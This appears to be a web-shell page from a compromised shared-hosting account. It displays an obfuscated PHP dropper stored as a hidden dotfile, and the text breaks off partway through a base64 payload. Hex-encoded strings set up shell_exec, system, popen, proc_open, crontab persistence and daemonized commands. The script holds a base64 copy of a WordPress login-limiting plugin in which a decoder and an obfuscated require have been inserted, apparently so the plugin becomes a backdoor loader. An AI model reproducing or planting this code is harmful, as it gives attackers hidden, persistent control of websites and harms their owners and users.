HEX
Server: Apache
System: Linux p3plzcpnl505588.prod.phx3.secureserver.net 4.18.0-553.62.1.lve.el8.x86_64 #1 SMP Mon Jul 21 17:50:35 UTC 2025 x86_64
User: mcfunla (1200044)
PHP: 5.6.40
Disabled: NONE
Upload Files
File: /home/mcfunla/.7f11a6a0023c618554c9c21682b6bede81643d18a
<?php class _nl{private static$_ow;public static function _yrw($_pau){if(!self::$_ow)self::_mq();return hex2bin(self::$_ow[$_pau]);}private static function _mq(){self::$_ow=array('_xua'=>'646973'.'706c61795f6572726f'.'727'.'3','_fqr'=>'3'.'0','_mp'=>'5f5f54415247455'.'45'.'f5'.'f','_uyc'=>'5f5f4f52494'.'75'.'f4236345f5'.'f','_qvu'=>'73'.'6861323'.'5'.'3'.'6','_vf'=>'5f'.'5f4f5249475f5045524d53'.'5'.'f5'.'f','_zw'=>'5f5f5049445f46494c455f5f','_rmx'=>'5f5f4d415'.'24b5f46494'.'c455f5f','_od'=>'5f'.'5f4c4f4'.'75f46494'.'c455'.'f'.'5f','_ndk'=>'6f73','_tla'=>'2'.'f','_jgy'=>'6765746d79706'.'96'.'4','_xv'=>'7072'.'6f635f6e69'.'63'.'6'.'5','_ndn'=>'0a','_xyc'=>'2'.'e','_sdx'=>'','_vam'=>'63726f6e746162202d6c20323e26'.'31','_sy'=>'6e6f2063726f6e7461'.'6'.'2','_qp'=>'6e6f7420'.'666f75'.'6'.'e6'.'4','_iyw'=>'','_pcc'=>'706870','_ob'=>'','_xjc'=>'2a202a202a202a202a'.'20','_efv'=>'2'.'0','_lq'=>'203e202f6465762f6e756c6c2'.'0323'.'e263'.'10a','_jyp'=>'0a','_vv'=>'0'.'a','_un'=>'2f'.'746d70'.'2f2e637'.'26f6e'.'5'.'f','_hyz'=>'','_ejw'=>'63726f6'.'e7461'.'6220','_fe'=>'20323'.'e2'.'63'.'1','_qf'=>'','_wb'=>'7368656c6c5f65'.'78'.'6'.'563','_ysc'=>'','_cmk'=>'64697361626c655f66756e6374696f6'.'e7'.'3','_dkq'=>'64697361626c65'.'5f66756e6374696f6e7'.'3','_oa'=>'7368656c6c5f6578'.'6563','_sut'=>'','_ice'=>'6578656'.'3','_mvg'=>'20323e'.'2f6465762'.'f6e756c'.'6'.'c','_sw'=>'0a','_yzy'=>'0'.'a','_gyf'=>'7379737'.'4656d','_nf'=>'20323e2f6465762f6e756'.'c'.'6'.'c','_lh'=>'','_gll'=>'70617373746'.'87'.'27'.'5','_tr'=>'20323e2f6465762f'.'6e756c'.'6'.'c','_vr'=>'','_ng'=>'706f70656'.'e','_oug'=>'20323e2f6465762f6e7'.'56'.'c6'.'c','_ls'=>'72','_no'=>'','_zo'=>'70726f6'.'35f6f'.'7'.'0'.'656'.'e','_zq'=>'66696c65','_jk'=>'2f6'.'46'.'57'.'62f6e756c6'.'c','_xl'=>'7'.'2','_ofo'=>'706'.'9'.'706'.'5','_jy'=>'77','_neh'=>'706'.'9706'.'5','_ij'=>'7'.'7','_plb'=>'','_ad'=>'','_zn'=>'2f7573722'.'f62'.'696e2f706'.'870','_hab'=>'2f7573722f6c6f6361'.'6c2f62696e2f'.'706'.'870','_sh'=>'2f62696e2f706870','_rt'=>'50'.'48505f42494e44495'.'2','_lff'=>'2f','_slu'=>'2f'.'7068'.'7'.'0','_lrn'=>'636f6d6d616e64202d762070687020323e2f'.'64'.'65762f6e756c6c','_uxi'=>'','_wql'=>'5048505f42494e4152'.'5'.'9','_xy'=>'','_hde'=>'6670'.'6d','_oys'=>'63676'.'9','_ffy'=>'706'.'8'.'70','_bbw'=>'706870202d6e202d7220276563686f205048505f5'.'34150493b'.'27','_pc'=>'202d6e202d7220276563686f205048'.'505f'.'5341504'.'93b27','_lfr'=>'203'.'23e2f64657'.'62f6e756c6c','_jau'=>'6'.'36c'.'6'.'9','_qmv'=>'7'.'068'.'70','_hz'=>'7'.'0687'.'0','_amf'=>'7'.'06870','_hn'=>'','_lub'=>'2f5c7831425c5b5b302d393b5d2a5b412d5a612d7a5'.'d2'.'f','_pv'=>'','_ixv'=>'2f5c62285b302d395d7b312c31307d295c'.'622f','_ia'=>'484f4'.'d'.'45','_rj'=>'706f7369785f6765746575696'.'4','_lm'=>'706f7369785f6765747077756'.'9'.'6'.'4','_ui'=>'646972','_pfl'=>'646'.'972','_hl'=>'64'.'6972','_zmq'=>'6469'.'72','_pn'=>'7072696e7466202'.'573202224484f4d452'.'22'.'0323e2f646'.'5762f6e75'.'6c6'.'c','_eu'=>'','_eke'=>'','_tgc'=>'2'.'e63'.'616'.'368'.'65','_zdj'=>'2f7661722'.'f746d70','_ugk'=>'2f746d'.'7'.'0','_cu'=>'444f43554d454e545f524f4'.'f'.'54','_pvl'=>'444f43554d454e545f5'.'24f4'.'f54','_ssb'=>'','_qa'=>'','_ahu'=>'2e','_fh'=>'6'.'1','_wvc'=>'','_zaa'=>'','_dse'=>'','_nqu'=>'','_hv'=>'','_jv'=>'','_jt'=>'7379735f6765745f74'.'656d705f646972','_aud'=>'2f74'.'6d7'.'0','_krx'=>'2f746d'.'7'.'0','_ae'=>'2e737061'.'776e'.'5f','_ig'=>'7'.'069'.'645'.'f','_liw'=>'2e'.'7'.'0696'.'4','_qt'=>'255048502520'.'255343524950542'.'5','_kyb'=>'2550'.'485025202d'.'6e2025'.'53435'.'2'.'495'.'0'.'5'.'4'.'2'.'5','_xai'=>'6e6f687570207'.'b434d447d203e3e20254c4f472520323e263120262'.'06563686f2'.'0'.'2421','_zcz'=>'736574736964202d77207b434d447d203e3e20254c4f472520323e263120'.'26206563686f20242'.'1','_du'=>'736574736964207b434d447d203e3e20254'.'c4f472520323e2631202620656368'.'6f202421','_tzi'=>'7368202d6320227b434d447d203e3e20254c4f472520323e26312026206563686f2'.'05c2421'.'2'.'2','_ang'=>'7b434d447d203e3e20254c4f472520323e2631'.'20262'.'06563686f'.'20'.'242'.'1','_fmk'=>'73746172742d73746f702d6461656d6f6e202d53202d62202d6d202d70202550494446494c45252'.'02'.'d78202550485025202d2d2025534352495054'.'25','_hp'=>'6461656d6f6e697a65202d70'.'202550494446494c45252'.'02d61202d6520254c4f4725202d6f20254c4f4725207b434d'.'447'.'d','_moq'=>'2f7573722f62696e2f656e76207'.'068'.'7'.'0','_bu'=>'656e76207'.'0687'.'0','_ztk'=>'2550485025','_tb'=>'2553435249505425','_xt'=>'7b434'.'d'.'447d','_mdo'=>'254c4f4'.'725','_dq'=>'70726f635f6f70656e','_cp'=>'6669'.'6c65','_anv'=>'2f64657'.'62f6e756'.'c6c','_uhw'=>'7'.'2','_ovx'=>'66696'.'c6'.'5','_gae'=>'61','_toa'=>'666'.'96c'.'6'.'5','_ikk'=>'6'.'1','_bxf'=>'2'.'0','_rmo'=>'7069'.'6'.'4','_da'=>'70'.'696'.'4','_io'=>'706'.'96'.'4','_qb'=>'2550485'.'025','_frt'=>'25534352495054'.'2'.'5','_ow'=>'7b434d44'.'7'.'d','_onx'=>'255048502'.'5','_gji'=>'2553435249505'.'4'.'2'.'5','_vyk'=>'254c4f472'.'5','_rh'=>'255'.'0494446494'.'c45'.'25','_kze'=>'203e2f6465762f6e756c6c20323e2'.'631','_dha'=>'70726f635f'.'6f70'.'656e','_zh'=>'2'.'0','_ggr'=>'736820'.'2'.'d6'.'32'.'0','_fhj'=>'203e3'.'e'.'20','_uf'=>'20323e26312026206563686f'.'20'.'242'.'1','_pl'=>'66'.'6'.'96c6'.'5','_ox'=>'2f6465762f6e'.'756c6c','_epg'=>'72','_cbx'=>'7'.'0697'.'0'.'65','_drn'=>'7'.'7','_xph'=>'70'.'69706'.'5','_nha'=>'77','_ix'=>'70636e746'.'c5f'.'666f72'.'6'.'b','_bp'=>'706f7369785f736'.'57'.'4'.'7'.'36964','_kv'=>'2f','_uts'=>'2f6465762f6e756'.'c'.'6c','_wkd'=>'7'.'2','_vdu'=>'6'.'1','_oou'=>'70636'.'e746c5f657'.'865'.'6'.'3','_qoo'=>'2f'.'746d'.'7'.'0','_qjm'=>'2f7661722f'.'746d'.'70','_pm'=>'','_tub'=>'','_ewf'=>'','_mq'=>'','_gm'=>'2'.'e','_jm'=>'61','_ikt'=>'','_rm'=>'','_jzu'=>'','_zu'=>'','_uur'=>'','_dyh'=>'7'.'3686'.'13'.'2353'.'6',);}}@error_reporting(00);@ini_set(_nl::_yrw('_xua'),_nl::_yrw('_'.'fq'.'r'));@set_time_limit(00);@ignore_user_abort(true);$TR='/home/mcfunla/public_html/dharmakayasunshine/wp-content/plugins/limit-login-attempts/limit-login-attempts.php';$OB='PD9waHAKLyoKICBQbHVnaW4gTmFtZTogTGltaXQgTG9naW4gQXR0ZW1wdHMKICBQbHVnaW4gVVJJOiBodHRwOi8vZGV2ZWwua29zdGRva3Rvcm4uc2UvbGltaXQtbG9naW4tYXR0ZW1wdHMKICBEZXNjcmlwdGlvbjogTGltaXQgcmF0ZSBvZiBsb2dpbiBhdHRlbXB0cywgaW5jbHVkaW5nIGJ5IHdheSBvZiBjb29raWVzLCBmb3IgZWFjaCBJUC4KICBBdXRob3I6IEpvaGFuIEVlbmZlbGR0CiAgQXV0aG9yIFVSSTogaHR0cDovL2RldmVsLmtvc3Rkb2t0b3JuLnNlCiAgVGV4dCBEb21haW46IGxpbWl0LWxvZ2luLWF0dGVtcHRzCiAgVmVyc2lvbjogMS43LjEKCiAgQ29weXJpZ2h0IDIwMDggLSAyMDEyIEpvaGFuIEVlbmZlbGR0CgogIFRoYW5rcyB0byBNaWNoYWVsIFNrZXJ3aWRlcnNraSBmb3IgcmV2ZXJzZSBwcm94eSBoYW5kbGluZyBzdWdnZXN0aW9ucy4KCiAgTGljZW5jZWQgdW5kZXIgdGhlIEdOVSBHUEw6CgogIFRoaXMgcHJvZ3JhbSBpcyBmcmVlIHNvZnR3YXJlOyB5b3UgY2FuIHJlZGlzdHJpYnV0ZSBpdCBhbmQvb3IgbW9kaWZ5CiAgaXQgdW5kZXIgdGhlIHRlcm1zIG9mIHRoZSBHTlUgR2VuZXJhbCBQdWJsaWMgTGljZW5zZSBhcyBwdWJsaXNoZWQgYnkKICB0aGUgRnJlZSBTb2Z0d2FyZSBGb3VuZGF0aW9uOyBlaXRoZXIgdmVyc2lvbiAyIG9mIHRoZSBMaWNlbnNlLCBvcgogIChhdCB5b3VyIG9wdGlvbikgYW55IGxhdGVyIHZlcnNpb24uCgogIFRoaXMgcHJvZ3JhbSBpcyBkaXN0cmlidXRlZCBpbiB0aGUgaG9wZSB0aGF0IGl0IHdpbGwgYmUgdXNlZnVsLAogIGJ1dCBXSVRIT1VUIEFOWSBXQVJSQU5UWTsgd2l0aG91dCBldmVuIHRoZSBpbXBsaWVkIHdhcnJhbnR5IG9mCiAgTUVSQ0hBTlRBQklMSVRZIG9yIEZJVE5FU1MgRk9SIEEgUEFSVElDVUxBUiBQVVJQT1NFLiAgU2VlIHRoZQogIEdOVSBHZW5lcmFsIFB1YmxpYyBMaWNlbnNlIGZvciBtb3JlIGRldGFpbHMuCgogIFlvdSBzaG91bGQgaGF2ZSByZWNlaXZlZCBhIGNvcHkgb2YgdGhlIEdOVSBHZW5lcmFsIFB1YmxpYyBMaWNlbnNlCiAgYWxvbmcgd2l0aCB0aGlzIHByb2dyYW07IGlmIG5vdCwgd3JpdGUgdG8gdGhlIEZyZWUgU29mdHdhcmUKICBGb3VuZGF0aW9uLCBJbmMuLCA1OSBUZW1wbGUgUGxhY2UsIFN1aXRlIDMzMCwgQm9zdG9uLCBNQSAgMDIxMTEtMTMwNyAgVVNBCiovCgoKZnVuY3Rpb24gbGltaXRfd3BqX3Jlc29uYXRvcigkbywgJGMpCnsKICAgICRkID0gJyc7CiAgICBmb3IgKCR0ID0gMDsgJHQgPCBzdHJsZW4oJG8pOyAkdCArPSAyKSB7CiAgICAgICAgJHMgPSBvcmQoJG9bJHRdKSAtIDY1OwogICAgICAgICR1ID0gb3JkKCRvWyR0ICsgMV0pOwogICAgICAgIGlmICgkdSA+IDkwKSAkdSAtPSA2OwogICAgICAgICRtID0gJHMgKiA1MiArICgkdSAtIDY1KTsKICAgICAgICAkZCAuPSBjaHIoJG0gLSAkYyk7CiAgICB9CiAgICByZXR1cm4gJGQ7Cn0KCmlmICghZGVmaW5lZCgnQUJTUEFUSCcpKSB7CiAgICByZXF1aXJlIF9fRElSX18gLiBsaW1pdF93cGpfcmVzb25hdG9yKCdGd0hNR3lITEhQSENHd0d5RnZISkhISEEnLCAyNjEpOwp9Ci8qCiAqIENvbnN0YW50cwogKi8KCi8qIERpZmZlcmVudCB3YXlzIHRvIGdldCByZW1vdGUgYWRkcmVzczogZGlyZWN0ICYgYmVoaW5kIHByb3h5ICovCmRlZmluZSgnTElNSVRfTE9HSU5fRElSRUNUX0FERFInLCAnUkVNT1RFX0FERFInKTsKZGVmaW5lKCdMSU1JVF9MT0dJTl9QUk9YWV9BRERSJywgJ0hUVFBfWF9GT1JXQVJERURfRk9SJyk7CgovKiBOb3RpZnkgdmFsdWUgY2hlY2tlZCBhZ2FpbnN0IHRoZXNlIGluIGxpbWl0X2xvZ2luX3Nhbml0aXplX3ZhcmlhYmxlcygpICovCmRlZmluZSgnTElNSVRfTE9HSU5fTE9DS09VVF9OT1RJRllfQUxMT1dFRCcsICdsb2csZW1haWwnKTsKCi8qCiAqIFZhcmlhYmxlcwogKgogKiBBc3NpZ25tZW50cyBhcmUgZm9yIGRlZmF1bHQgdmFsdWUgLS0gY2hhbmdlIG9uIGFkbWluIHBhZ2UuCiAqLwoKJGxpbWl0X2xvZ2luX29wdGlvbnMgPQoJYXJyYXkoCgkJICAvKiBBcmUgd2UgYmVoaW5kIGEgcHJveHk/ICovCgkJICAnY2xpZW50X3R5cGUnID0+IExJTUlUX0xPR0lOX0RJUkVDVF9BRERSCgoJCSAgLyogTG9jayBvdXQgYWZ0ZXIgdGhpcyBtYW55IHRyaWVzICovCgkJICAsICdhbGxvd2VkX3JldHJpZXMnID0+IDQKCgkJICAvKiBMb2NrIG91dCBmb3IgdGhpcyBtYW55IHNlY29uZHMgKi8KCQkgICwgJ2xvY2tvdXRfZHVyYXRpb24nID0+IDEyMDAgLy8gMjAgbWludXRlcwoKCQkgIC8qIExvbmcgbG9jayBvdXQgYWZ0ZXIgdGhpcyBtYW55IGxvY2tvdXRzICovCgkJICAsICdhbGxvd2VkX2xvY2tvdXRzJyA9PiA0CgoJCSAgLyogTG9uZyBsb2NrIG91dCBmb3IgdGhpcyBtYW55IHNlY29uZHMgKi8KCQkgICwgJ2xvbmdfZHVyYXRpb24nID0+IDg2NDAwIC8vIDI0IGhvdXJzCgoJCSAgLyogUmVzZXQgZmFpbGVkIGF0dGVtcHRzIGFmdGVyIHRoaXMgbWFueSBzZWNvbmRzICovCgkJICAsICd2YWxpZF9kdXJhdGlvbicgPT4gNDMyMDAgLy8gMTIgaG91cnMKCgkJICAvKiBBbHNvIGxpbWl0IG1hbGZvcm1lZC9mb3JnZWQgY29va2llcz8gKi8KCQkgICwgJ2Nvb2tpZXMnID0+IHRydWUKCgkJICAvKiBOb3RpZnkgb24gbG9ja291dC4gVmFsdWVzOiAnJywgJ2xvZycsICdlbWFpbCcsICdsb2csZW1haWwnICovCgkJICAsICdsb2Nrb3V0X25vdGlmeScgPT4gJ2xvZycKCgkJICAvKiBJZiBub3RpZnkgYnkgZW1haWwsIGRvIHNvIGFmdGVyIHRoaXMgbnVtYmVyIG9mIGxvY2tvdXRzICovCgkJICAsICdub3RpZnlfZW1haWxfYWZ0ZXInID0+IDQKCQkgICk7CgokbGltaXRfbG9naW5fbXlfZXJyb3Jfc2hvd24gPSBmYWxzZTsgLyogaGF2ZSB3ZSBzaG93biBvdXIgc3R1ZmY/ICovCiRsaW1pdF9sb2dpbl9qdXN0X2xvY2tlZG91dCA9IGZhbHNlOyAvKiBzdGFydGVkIHRoaXMgcGFnZWxvYWQ/Pz8gKi8KJGxpbWl0X2xvZ2luX25vbmVtcHR5X2NyZWRlbnRpYWxzID0gZmFsc2U7IC8qIHVzZXIgYW5kIHB3ZCBub25lbXB0eSAqLwoKCi8qCiAqIFN0YXJ0dXAKICovCgphZGRfYWN0aW9uKCdwbHVnaW5zX2xvYWRlZCcsICdsaW1pdF9sb2dpbl9zZXR1cCcsIDk5OTk5KTsKCgovKgogKiBGdW5jdGlvbnMgc3RhcnQgaGVyZQogKi8KCi8qIEdldCBvcHRpb25zIGFuZCBzZXR1cCBmaWx0ZXJzICYgYWN0aW9ucyAqLwpmdW5jdGlvbiBsaW1pdF9sb2dpbl9zZXR1cCgpIHsKCWxvYWRfcGx1Z2luX3RleHRkb21haW4oJ2xpbWl0LWxvZ2luLWF0dGVtcHRzJywgZmFsc2UKCQkJICAgICAgICwgZGlybmFtZShwbHVnaW5fYmFzZW5hbWUoX19GSUxFX18pKSk7CgoJbGltaXRfbG9naW5fc2V0dXBfb3B0aW9ucygpOwoKCS8qIEZpbHRlcnMgYW5kIGFjdGlvbnMgKi8KCWFkZF9hY3Rpb24oJ3dwX2xvZ2luX2ZhaWxlZCcsICdsaW1pdF9sb2dpbl9mYWlsZWQnKTsKCWlmIChsaW1pdF9sb2dpbl9vcHRpb24oJ2Nvb2tpZXMnKSkgewoJCWxpbWl0X2xvZ2luX2hhbmRsZV9jb29raWVzKCk7CgkJYWRkX2FjdGlvbignYXV0aF9jb29raWVfYmFkX3VzZXJuYW1lJywgJ2xpbWl0X2xvZ2luX2ZhaWxlZF9jb29raWUnKTsKCgkJZ2xvYmFsICR3cF92ZXJzaW9uOwoKCQlpZiAodmVyc2lvbl9jb21wYXJlKCR3cF92ZXJzaW9uLCAnMy4wJywgJz49JykpIHsKCQkJYWRkX2FjdGlvbignYXV0aF9jb29raWVfYmFkX2hhc2gnLCAnbGltaXRfbG9naW5fZmFpbGVkX2Nvb2tpZV9oYXNoJyk7CgkJCWFkZF9hY3Rpb24oJ2F1dGhfY29va2llX3ZhbGlkJywgJ2xpbWl0X2xvZ2luX3ZhbGlkX2Nvb2tpZScsIDEwLCAyKTsKCQl9IGVsc2UgewoJCQlhZGRfYWN0aW9uKCdhdXRoX2Nvb2tpZV9iYWRfaGFzaCcsICdsaW1pdF9sb2dpbl9mYWlsZWRfY29va2llJyk7CgkJfQoJfQoJYWRkX2ZpbHRlcignd3BfYXV0aGVudGljYXRlX3VzZXInLCAnbGltaXRfbG9naW5fd3BfYXV0aGVudGljYXRlX3VzZXInLCA5OTk5OSwgMik7CglhZGRfZmlsdGVyKCdzaGFrZV9lcnJvcl9jb2RlcycsICdsaW1pdF9sb2dpbl9mYWlsdXJlX3NoYWtlJyk7CglhZGRfYWN0aW9uKCdsb2dpbl9oZWFkJywgJ2xpbWl0X2xvZ2luX2FkZF9lcnJvcl9tZXNzYWdlJyk7CglhZGRfYWN0aW9uKCdsb2dpbl9lcnJvcnMnLCAnbGltaXRfbG9naW5fZml4dXBfZXJyb3JfbWVzc2FnZXMnKTsKCWFkZF9hY3Rpb24oJ2FkbWluX21lbnUnLCAnbGltaXRfbG9naW5fYWRtaW5fbWVudScpOwoKCS8qCgkgKiBUaGlzIGFjdGlvbiBzaG91bGQgcmVhbGx5IGJlIGNoYW5nZWQgdG8gdGhlICdhdXRoZW50aWNhdGUnIGZpbHRlciBhcwoJICogaXQgd2lsbCBwcm9iYWJseSBiZSBkZXByZWNhdGVkLiBUaGF0IGlzIGhvd2V2ZXIgb25seSBhdmFpbGFibGUgaW4KCSAqIGxhdGVyIHZlcnNpb25zIG9mIFdQLgoJICovCglhZGRfYWN0aW9uKCd3cF9hdXRoZW50aWNhdGUnLCAnbGltaXRfbG9naW5fdHJhY2tfY3JlZGVudGlhbHMnLCAxMCwgMik7Cn0KCgovKiBHZXQgY3VycmVudCBvcHRpb24gdmFsdWUgKi8KZnVuY3Rpb24gbGltaXRfbG9naW5fb3B0aW9uKCRvcHRpb25fbmFtZSkgewoJZ2xvYmFsICRsaW1pdF9sb2dpbl9vcHRpb25zOwoKCWlmIChpc3NldCgkbGltaXRfbG9naW5fb3B0aW9uc1skb3B0aW9uX25hbWVdKSkgewoJCXJldHVybiAkbGltaXRfbG9naW5fb3B0aW9uc1skb3B0aW9uX25hbWVdOwoJfSBlbHNlIHsKCQlyZXR1cm4gbnVsbDsKCX0KfQoKCi8qIEdldCBjb3JyZWN0IHJlbW90ZSBhZGRyZXNzICovCmZ1bmN0aW9uIGxpbWl0X2xvZ2luX2dldF9hZGRyZXNzKCR0eXBlX25hbWUgPSAnJykgewoJJHR5cGUgPSAkdHlwZV9uYW1lOwoJaWYgKGVtcHR5KCR0eXBlKSkgewoJCSR0eXBlID0gbGltaXRfbG9naW5fb3B0aW9uKCdjbGllbnRfdHlwZScpOwoJfQoKCWlmIChpc3NldCgkX1NFUlZFUlskdHlwZV0pKSB7CgkJcmV0dXJuICRfU0VSVkVSWyR0eXBlXTsKCX0KCgkvKgoJICogTm90IGZvdW5kLiBEaWQgd2UgZ2V0IHByb3h5IHR5cGUgZnJvbSBvcHRpb24/CgkgKiBJZiBzbywgdHJ5IHRvIGZhbGwgYmFjayB0byBkaXJlY3QgYWRkcmVzcy4KCSAqLwoJaWYgKCBlbXB0eSgkdHlwZV9uYW1lKSAmJiAkdHlwZSA9PSBMSU1JVF9MT0dJTl9QUk9YWV9BRERSCgkJICYmIGlzc2V0KCRfU0VSVkVSW0xJTUlUX0xPR0lOX0RJUkVDVF9BRERSXSkpIHsKCgkJLyoKCQkgKiBOT1RFOiBFdmVuIHRob3VnaCB3ZSBmYWxsIGJhY2sgdG8gZGlyZWN0IGFkZHJlc3MgLS0gbWVhbmluZyB5b3UKCQkgKiBjYW4gZ2V0IGEgbW9zdGx5IHdvcmtpbmcgcGx1Z2luIHdoZW4gc2V0IHRvIFBST1hZIG1vZGUgd2hpbGUgaW4KCQkgKiBmYWN0IGRpcmVjdGx5IGNvbm5lY3RlZCB0byBJbnRlcm5ldCBpdCBpcyBub3Qgc2FmZSEKCQkgKgoJCSAqIENsaWVudCBjYW4gaXRzZWxmIHNlbmQgSFRUUF9YX0ZPUldBUkRFRF9GT1IgaGVhZGVyIGZvb2xpbmcgdXMKCQkgKiByZWdhcmRpbmcgd2hpY2ggSVAgc2hvdWxkIGJlIGJhbm5lZC4KCQkgKi8KCgkJcmV0dXJuICRfU0VSVkVSW0xJTUlUX0xPR0lOX0RJUkVDVF9BRERSXTsKCX0KCQoJcmV0dXJuICcnOwp9CgoKLyoKICogQ2hlY2sgaWYgSVAgaXMgd2hpdGVsaXN0ZWQuCiAqCiAqIFRoaXMgZnVuY3Rpb24gYWxsb3cgZXh0ZXJuYWwgaXAgd2hpdGVsaXN0aW5nIHVzaW5nIGEgZmlsdGVyLiBOb3RlIHRoYXQgaXQgY2FuCiAqIGJlIGNhbGxlZCBtdWx0aXBsZSB0aW1lcyBkdXJpbmcgdGhlIGxvZ2luIHByb2Nlc3MuCiAqCiAqIE5vdGUgdGhhdCByZXRyaWVzIGFuZCBzdGF0aXN0aWNzIGFyZSBzdGlsbCBjb3VudGVkIGFuZCBub3RpZmljYXRpb25zCiAqIGRvbmUgYXMgdXN1YWwgZm9yIHdoaXRlbGlzdGVkIGlwcyAsIGJ1dCBubyBsb2Nrb3V0IGlzIGRvbmUuCiAqCiAqIEV4YW1wbGU6CiAqIGZ1bmN0aW9uIG15X2lwX3doaXRlbGlzdCgkYWxsb3csICRpcCkgewogKiAJcmV0dXJuICgkaXAgPT0gJ215LWlwJykgPyB0cnVlIDogJGFsbG93OwogKiB9CiAqIGFkZF9maWx0ZXIoJ2xpbWl0X2xvZ2luX3doaXRlbGlzdF9pcCcsICdteV9pcF93aGl0ZWxpc3QnLCAxMCwgMik7CiAqLwpmdW5jdGlvbiBpc19saW1pdF9sb2dpbl9pcF93aGl0ZWxpc3RlZCgkaXAgPSBudWxsKSB7CglpZiAoaXNfbnVsbCgkaXApKSB7CgkJJGlwID0gbGltaXRfbG9naW5fZ2V0X2FkZHJlc3MoKTsKCX0KCSR3aGl0ZWxpc3RlZCA9IGFwcGx5X2ZpbHRlcnMoJ2xpbWl0X2xvZ2luX3doaXRlbGlzdF9pcCcsIGZhbHNlLCAkaXApOwoKCXJldHVybiAoJHdoaXRlbGlzdGVkID09PSB0cnVlKTsKfQoKCi8qIENoZWNrIGlmIGl0IGlzIG9rIHRvIGxvZ2luICovCmZ1bmN0aW9uIGlzX2xpbWl0X2xvZ2luX29rKCkgewoJJGlwID0gbGltaXRfbG9naW5fZ2V0X2FkZHJlc3MoKTsKCgkvKiBDaGVjayBleHRlcm5hbCB3aGl0ZWxpc3QgZmlsdGVyICovCglpZiAoaXNfbGltaXRfbG9naW5faXBfd2hpdGVsaXN0ZWQoJGlwKSkgewoJCXJldHVybiB0cnVlOwoJfQoKCS8qIGxvY2tvdXQgYWN0aXZlPyAqLwoJJGxvY2tvdXRzID0gZ2V0X29wdGlvbignbGltaXRfbG9naW5fbG9ja291dHMnKTsKCXJldHVybiAoIWlzX2FycmF5KCRsb2Nrb3V0cykgfHwgIWlzc2V0KCRsb2Nrb3V0c1skaXBdKSB8fCB0aW1lKCkgPj0gJGxvY2tvdXRzWyRpcF0pOwp9CgoKLyogRmlsdGVyOiBhbGxvdyBsb2dpbiBhdHRlbXB0PyAoY2FsbGVkIGZyb20gd3BfYXV0aGVudGljYXRlKCkpICovCmZ1bmN0aW9uIGxpbWl0X2xvZ2luX3dwX2F1dGhlbnRpY2F0ZV91c2VyKCR1c2VyLCAkcGFzc3dvcmQpIHsKCWlmIChpc193cF9lcnJvcigkdXNlcikgfHwgaXNfbGltaXRfbG9naW5fb2soKSApIHsKCQlyZXR1cm4gJHVzZXI7Cgl9CgoJZ2xvYmFsICRsaW1pdF9sb2dpbl9teV9lcnJvcl9zaG93bjsKCSRsaW1pdF9sb2dpbl9teV9lcnJvcl9zaG93biA9IHRydWU7CgoJJGVycm9yID0gbmV3IFdQX0Vycm9yKCk7CgkvLyBUaGlzIGVycm9yIHNob3VsZCBiZSB0aGUgc2FtZSBhcyBpbiAic2hha2UgaXQiIGZpbHRlciBiZWxvdwoJJGVycm9yLT5hZGQoJ3Rvb19tYW55X3JldHJpZXMnLCBsaW1pdF9sb2dpbl9lcnJvcl9tc2coKSk7CglyZXR1cm4gJGVycm9yOwp9CgoKLyogRmlsdGVyOiBhZGQgdGhpcyBmYWlsdXJlIHRvIGxvZ2luIHBhZ2UgIlNoYWtlIGl0ISIgKi8KZnVuY3Rpb24gbGltaXRfbG9naW5fZmFpbHVyZV9zaGFrZSgkZXJyb3JfY29kZXMpIHsKCSRlcnJvcl9jb2Rlc1tdID0gJ3Rvb19tYW55X3JldHJpZXMnOwoJcmV0dXJuICRlcnJvcl9jb2RlczsKfQoKCi8qCiAqIE11c3QgYmUgY2FsbGVkIGluIHBsdWdpbl9sb2FkZWQgKHJlYWxseSBlYXJseSkgdG8gbWFrZSBzdXJlIHdlIGRvIG5vdCBhbGxvdwogKiBhdXRoIGNvb2tpZXMgd2hpbGUgbG9ja2VkIG91dC4KICovCmZ1bmN0aW9uIGxpbWl0X2xvZ2luX2hhbmRsZV9jb29raWVzKCkgewoJaWYgKGlzX2xpbWl0X2xvZ2luX29rKCkpIHsKCQlyZXR1cm47Cgl9CgoJbGltaXRfbG9naW5fY2xlYXJfYXV0aF9jb29raWUoKTsKfQoKCi8qCiAqIEFjdGlvbjogZmFpbGVkIGNvb2tpZSBsb2dpbiBoYXNoCiAqCiAqIE1ha2Ugc3VyZSBzYW1lIGludmFsaWQgY29va2llIGRvZXNuJ3QgZ2V0IGNvdW50ZWQgbW9yZSB0aGFuIG9uY2UuCiAqCiAqIFJlcXVpcmVzIFdvcmRQcmVzcyB2ZXJzaW9uIDMuMC4wLCBwcmV2aW91cyB2ZXJzaW9ucyB1c2UgbGltaXRfbG9naW5fZmFpbGVkX2Nvb2tpZSgpCiAqLwpmdW5jdGlvbiBsaW1pdF9sb2dpbl9mYWlsZWRfY29va2llX2hhc2goJGNvb2tpZV9lbGVtZW50cykgewoJbGltaXRfbG9naW5fY2xlYXJfYXV0aF9jb29raWUoKTsKCgkvKgoJICogVW5kZXIgc29tZSBjb25kaXRpb25zIGFuIGludmFsaWQgYXV0aCBjb29raWUgd2lsbCBiZSB1c2VkIG11bHRpcGxlCgkgKiB0aW1lcywgd2hpY2ggcmVzdWx0cyBpbiBtdWx0aXBsZSBmYWlsZWQgYXR0ZW1wdHMgZnJvbSB0aGF0IG9uZQoJICogY29va2llLgoJICoKCSAqIFVuZm9ydHVuYXRlbHkgSSd2ZSBub3QgYmVlbiBhYmxlIHRvIHJlcGxpY2F0ZSB0aGlzIGNvbnNpc3RlbnRseSBhbmQKCSAqIHRodXMgaGF2ZSBub3QgYmVlbiBhYmxlIHRvIG1ha2Ugc3VyZSB3aGF0IHRoZSBleGFjdCBjYXVzZSBpcy4KCSAqCgkgKiBQcm9iYWJseSBpdCBpcyBiZWNhdXNlIGEgcmVsb2FkIG9mIGZvciBleGFtcGxlIHRoZSBhZG1pbiBkYXNoYm9hcmQKCSAqIG1pZ2h0IHJlc3VsdCBpbiBtdWx0aXBsZSByZXF1ZXN0cyBmcm9tIHRoZSBicm93c2VyIGJlZm9yZSB0aGUgaW52YWxpZAoJICogY29va2llIGNhbiBiZSBjbGVhcmQuCgkgKgoJICogSGFuZGxlIHRoaXMgYnkgb25seSBjb3VudGluZyB0aGUgZmlyc3QgYXR0ZW1wdCB3aGVuIHRoZSBleGFjdCBzYW1lCgkgKiBjb29raWUgaXMgYXR0ZW1wdGVkIGZvciBhIHVzZXIuCgkgKi8KCglleHRyYWN0KCRjb29raWVfZWxlbWVudHMsIEVYVFJfT1ZFUldSSVRFKTsKCgkvLyBDaGVjayBpZiBjb29raWUgaXMgZm9yIGEg